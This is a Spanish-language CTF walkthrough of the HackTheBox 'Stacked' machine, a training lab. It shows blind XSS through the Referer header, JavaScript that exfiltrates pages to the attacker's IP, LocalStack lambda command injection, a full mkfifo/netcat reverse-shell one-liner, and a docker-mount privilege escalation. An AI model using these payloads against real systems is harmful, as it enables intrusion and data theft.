Stacked - HackTheBox

Stackedinsane

Comencé con un escaneo de nmap para detectar puertos abiertos.

┌─[root@parrot]─[/home/wackyhacker/HTB/Altered/nmap]
└──╼ cat nmap.txt
# Nmap 7.92 scan initiated Tue Apr  5 00:07:08 2022 as: nmap -sS --min-rate 5000 -v -n -p- --open -Pn -o nmap.txt 10.10.11.112
Nmap scan report for 10.10.11.112
Host is up (0.30s latency).
Not shown: 52678 filtered tcp ports (no-response), 12855 closed tcp ports (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Read data files from: /usr/bin/../share/nmap
# Nmap done at Tue Apr  5 00:09:43 2022 -- 1 IP address (1 host up) scanned in 154.73 seconds

Efectúe otro escaneo para identificar la versión de cada servicio abierto.

┌─[root@parrot]─[/home/wackyhacker/HTB/Altered/nmap]
└──╼ cat services.txt
# Nmap 7.92 scan initiated Tue Apr  5 00:09:49 2022 as: nmap -sCV -p80,22 -o services.txt 10.10.11.112
Nmap scan report for stacked.htb (10.10.11.112)
Host is up (0.056s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 12:8f:2b:60:bc:21:bd:db:cb:13:02:03:ef:59:36:a5 (RSA)
|   256 af:f3:1a:6a:e7:13:a9:c0:25:32:d0:2c:be:59:33:e4 (ECDSA)
|_  256 39:50:d5:79:cd:0e:f0:24:d3:2c:f4:23:ce:d2:a6:f2 (ED25519)
80/tcp open  http    Apache httpd 2.4.41
|_http-title: STACKED.HTB
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Apr  5 00:09:59 2022 -- 1 IP address (1 host up) scanned in 10.07 seconds
Tenia dos puertos abiertos: 22 y 80. De momento SSH no me servía, por lo que mire el servidor web.

Puerto 80

0

Hacia un Redirect a stacked.htb, se estaba aplicando Virtual Hosting: alojar distintos dominios en una misma dirección IP.

Para poder acceder a este dominio, incluí stacked.htb en el /etc/hosts haciendo que este apuntase a 10.10.11.159.

0

Ahora si pude ver lo que tenía.

0

Al parecer era un contador, nada interesante, probé inyecciones en el campo ‘email’ pero no era vulnerable.

Fuzzing

Hice fuzzing con wfuzz para encontrar directorios:

0

Me encontró algunos directorios, pero no eran de importancia, efectúe fuzzing de subdominios mediante la cabecera Host y me encontró portfolio.

0

Lo incluí en el /etc/hosts.

0

portfolio.stacked.htb

0

Esta página tenía tres secciones: Porfolio, About y Contact, todas estas estaban en la misma página.

En About encontré un botón de descarga de un archivo llamado docker-compose.yml.

0

Este es un archivo YAML donde se suelen definir volúmenes, redes y servicios, este era su contenido:

version: "3.3"

services:
  localstack:
    container_name: "${LOCALSTACK_DOCKER_NAME-localstack_main}"
    image: localstack/localstack-full:0.12.6
    network_mode: bridge
    ports:
      - "127.0.0.1:443:443"
      - "127.0.0.1:4566:4566"
      - "127.0.0.1:4571:4571"
      - "127.0.0.1:${PORT_WEB_UI-8080}:${PORT_WEB_UI-8080}"
    environment:
      - SERVICES=serverless
      - DEBUG=1
      - DATA_DIR=/var/localstack/data
      - PORT_WEB_UI=${PORT_WEB_UI- }
      - LAMBDA_EXECUTOR=${LAMBDA_EXECUTOR- }
      - LOCALSTACK_API_KEY=${LOCALSTACK_API_KEY- }
      - KINESIS_ERROR_PROBABILITY=${KINESIS_ERROR_PROBABILITY- }
      - DOCKER_HOST=unix:///var/run/docker.sock
      - HOST_TMP_FOLDER="/tmp/localstack"
    volumes:
      - "/tmp/localstack:/tmp/localstack"
      - "/var/run/docker.sock:/var/run/docker.sock"

Al parecer estaba montado en local AWS, esto me llamo la atencion por lo que lo deje en segundo plano.

XSS

En la sección Contact encontré un formulario.

0

Este podría ser vulnerable a XSS, intente inyectar <script>alert("XSS")</script>pero este lo detectaba.

0

En este punto decidí interceptar la petición con Burp para hacer debugging en las cabeceras de la petición.

0

Abrí un servidor con Python por el puerto 80 y probé a inyectar <script src="http://10.10.16.59/"></script> en la cabecera Referer.

0

Y tras un pequeño intervalo de tiempo recibí una petición GET a mi servidor desde la máquina víctima.

0

La cabecera Referer era vulnerable a XSS.

Estrategia

Mi idea era identificar si el servidor tenía interacción con algún usuario, por lo que me cree un pequeño script en JS con el siguiente contenido:

var oReq = new XMLHttpRequest();
oReq.open("GET", "http://10.10.16.59:9999/" + document.location, false);
oReq.send();

Este lo que iba a hacer es enviar una petición GET a mi sesión de nc por el puerto 9999 con la ruta en la que se encontraba el usuario en ese momento.

Abrí un servidor de Python por el puerto 8000 alojando request-3.js y apunté a mi archivo JS desde el XSS.

0

Espere un tiempo y recibí una conexión a mi sesión de nc en la que contenía una ruta.

0

Al parecer el usuario estaba en mail.stacked.htb. Este subdominio no lo encontró wfuzz porque operaba localmente en la máquina y no tenía acceso a el de manera externa.

El siguiente paso fue descargar el HTML de http://mail.stacked.htb/read-mail.php?id=7 y almacenarlo en index.html.

Lo que hice fue crear otro script en JS con el siguiente código:

var oReq = new XMLHttpRequest();
oReq.open("POST", "http://10.10.16.59:5555/", false);
oReq.send(document.documentElement.outerHTML);

Este lo que hace es enviar una petición POST a mi sesión de netcat con el código HTML de la página en la que se encontraba el usuario por el puerto 5555 y almacenar este en un archivo llamado index.html.

Apunte a mi archivo JS llamado request.js desde el XSS y recibí una conexión a mi sesión de nc.

0

Esquema de ataque:

Diagrama en blanco

Esta era la página con el código HTML del usuario.

webservidor2

Había un usuario llamado Jeremy Taint con un hiperenlace que te redirigía a /read-mail.php?id=1:

0

Esto me llamo la atención, por lo que decidí descargar el HTML correspondiente con el siguiente código JS:

var oReq = new XMLHttpRequest();
oReq.open("GET", "http://mail.stacked.htb/read-mail.php?id=1", false);
oReq.send();

var response = oReq.responseText;

var resp = new XMLHttpRequest();
resp.open("POST", "http://10.10.16.59:5555/", false);
resp.send(response);

Este envia una petición GET a http://mail.stacked.htb/read-mail.php?id=1 desde la instancia del usuario, almacenaba la respuesta en response y hace otra petición POST a mi sesión de nc con el contenido de la variable response.

Apunte a mi archivo JS desde el XSS y recibí una conexión por nc, abrí un servidor por Python y mire que tenía esta segunda página.

subdominio

Había un mensaje: Hey Adam, I have set up S3 instance on s3-testing.stacked.htb so that you can configure the IAM users, roles and permissions. I have initialized a serverless instance for you to work from but keep in mind for the time being you can only run node instances. If you need anything let me know. Thanks.

Este decía que configure la instancia de S3 en s3-testing.stacked.htb, este era un nuevo subdominio que no tenía, por lo que lo añadí al /etc/hosts.

0

s3-testing.stacked.htb

s3

Al parecer era una API de AWS, viendo esto me acordé del archivo docker-compose.yml el cual contenía información sobre un servicio AWS en local.

Buscando vulnerabilidades de LocalStack encontre lo siguiente:

Captura de pantalla 27

Podía abusar del parámetro functionName en la creación de funciones lambda para inyectar mi código malicioso y así ganar RCE. Yo tenía conectividad con s3-testing.stacked.htb el cual me permitiría crear funciones lambda.

Tras una pequeña búsqueda encontré la manera de crear una función lambda, esta se podía crear en más de un lenguaje, pero yo lo hice con Node.js.

0

Guarde el siguiente código en un archivo llamado lambda.js.

exports.handler =  async function(event, context) {
  return "Hacked"
}

Este debía estar comprimido en ZIP.

ziplambda

Para crear la función debía especificarle ciertos parámetros.

0

Deje todos por defecto menos function-name y zip-file, en function-name le inyecte mi código malicioso, y en zip-file la ruta del ZIP que contenía lambda.js.

El siguiente paso fue usar awscli para interactuar con la API y así crear mi función lambda.

0

Se me creo mi función lambda, pero tenía que invocarla, para ello use el parámetro invoke especificándole function-name y exportando el resultado en un archivo llamado output.

0

RCE

La ejecución remota de comandos solo se acontecía si el usuario visitaba el dashboard, en el archivo docker-compose.yml vi que este podría estar montado en http://127.0.0.1:8080/ pero yo no tenía acceso a él externamente, por lo que aproveche el XSS para redirigir el usuario con el objeto document.location.

0

Un tiempo después recibí una petición GET a mi servidor.

0

Ya tenía ejecución remota de comandos, ahora solo me faltaba ganar acceso a la máquina, para ello concatené un Shell inverso con mkfifo.

0

Invoque la función, redirigí al usuario y gane una Shell en un contenedor.

0

user.txt

Ya podía visualizar la flag del usuario.

usetxt

ESCALADA DE PRIVILEGIOS

Para la escalada de privilegios me transferí pspy64 y vi las tareas que se ejecutaban a intervalos regulares de tiempo.

Vi que se ejecutaba Docker concatenando el parámetro --handler a la hora de crear la función lambda, por lo que si creaba mi función añadiendo $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&1|nc 10.10.16.59 443 &gt;/tmp/f) era muy probable que me ejecutara el comando y ganase acceso como root por nc en el contenedor.

shellcomorootencontentedor

Ahora podia ejecutar el comando docker con sudo, me dirigí a gtfobins.

Captura de pantalla 28

Utilice el comando docker run -v /:/mnt --rm -it alpine chroot /mnt sh para crear una montura raíz de la máquina en /mnt.

0

root.txt

Me entable otro Shell inverso por netcat y me ejecute una bash al nuevo contenedor docker en ejecución, ya pude visualizar la flag de root.

0

Leave a comment